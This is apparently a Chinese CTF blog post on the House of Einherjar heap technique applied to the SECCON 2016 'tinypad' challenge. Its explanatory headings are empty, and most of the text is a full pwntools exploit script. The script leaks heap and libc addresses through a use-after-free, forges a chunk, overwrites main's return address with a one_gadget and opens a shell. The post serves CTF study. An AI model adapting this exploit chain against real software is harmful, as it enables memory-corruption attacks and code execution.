[heap] House of Einherjar - 2016 Seccon tinypad
虽然这也不是啥特别高级的技术,都是已有技术的组合。但是在实际运用的时候面临各种条件限制,各种奇葩构造方式真是让人心力憔悴。这部分wiki里给的例题还不错,集合了很多实用的技巧,值得深入分析。
0x00 原理
0x01 题目分析
源代码解析
利用点
0x02 exp思路
思路
难点
完整exp
python3
#!/usr/bin/python3
from pwn import *
p = process("./tinypad")
elf = ELF("./tinypad")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def add(size:int,content):
p.recvuntil(b"(CMD)>>> ")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>> ")
p.sendline(str(size).encode())
p.recvuntil(b"(CONTENT)>>> ")
p.sendline(content)
def delete(idx:int):
p.recvuntil(b"(CMD)>>> ")
p.sendline(b"D")
p.recvuntil(b"(INDEX)>>> ")
p.sendline(str(idx).encode())
def edit(idx:int,content):
p.recvuntil(b"(CMD)>>> ")
p.sendline(b"E")
p.recvuntil(b"(INDEX)>>> ")
p.sendline(str(idx).encode())
p.recvuntil(b"(CONTENT)>>> ")
p.sendline(content)
p.recvuntil(b"(Y/n)>>> ")
p.sendline(b"Y")
def quit():
p.recvuntil(b"(CMD)>>> ")
p.sendline(b"Q")
def exp():
# 1. leak heap (UAF)
add(0x70,b"aaaaaaaa") #idx1
add(0x70,b"bbbbbbbb") #idx2
'''注意先delete(2)再delete(1)是因为1的低位有\x00,导致strlen无法获取长度并输出'''
delete(2)
delete(1)
p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
heap = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0x80
print("heap:",hex(heap))
#gdb.attach(p)
# 2. leak libc (UAF)
add(0x80,b"aaaaaaaa") #idx1
add(0x10,b"bbbbbbbb") #idx2
delete(1)
p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
unsortedbin_arena = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
libc_base = unsortedbin_arena - 0x58 - 0x3C4B20
print("unsortedbin_arena:",hex(unsortedbin_arena))
print("libc_base:",hex(libc_base))
#gdb.attach(p)
delete(2)
# 3. house of einherjar
add(0x18,b"a"*0x18) #idx1
add(0x100,b"b"*0xf8+b"\x11") #idx2
add(0x100,b"c"*0xf8) #idx3
add(0x100,b"d"*0xf8) #idx4
tinypad = 0x602040
fakechunk_addr = tinypad + 0x20 #tinypad+0x30-0x10 (total:0x100)
fakechunk_size = 0x101
fakechunk = p64(0)+p64(fakechunk_size)+p64(fakechunk_addr)*2
edit(3,b"p"*0x20 + fakechunk)
prevsize = heap+0x1b0-fakechunk_addr
print("heap:",hex(heap))
print("prevsize:",hex(prevsize))
edit(1,b"a"*0x18)
edit(1,b"a"*0x17)
edit(1,b"a"*0x16)
edit(1,b"a"*0x15)
edit(1,b"a"*0x14)
payload1 = b"a"*0x10 + p64(prevsize)
edit(1,payload1)
delete(2)
# fix fakechunk size,fd,bk
payload2 = b"p"*0x20+p64(0)+p64(0x101)+p64(unsortedbin_arena)*2
edit(4,payload2)
# 4. main_ret -> one_gadget
one_gadget = libc_base + 0x45216
environ = libc_base + 0x3c6f38
print("one_gadget:",hex(one_gadget))
print("environ:",hex(environ))
#gdb.attach(p)
payload3 = b"p"*0xd0 + b"d"*8 + p64(environ) + b"d"*8 + p64(0x602148)
add(0xf8,payload3) #idx2
p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
main_ret = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0xf0
print("main_ret:",hex(main_ret))
#modify main_ret to one_gadget
edit(2,p64(main_ret))
edit(1,p64(one_gadget))
#quit and getshell
p.sendline(b"Q")
p.interactive()
if __name__ == "__main__":
exp()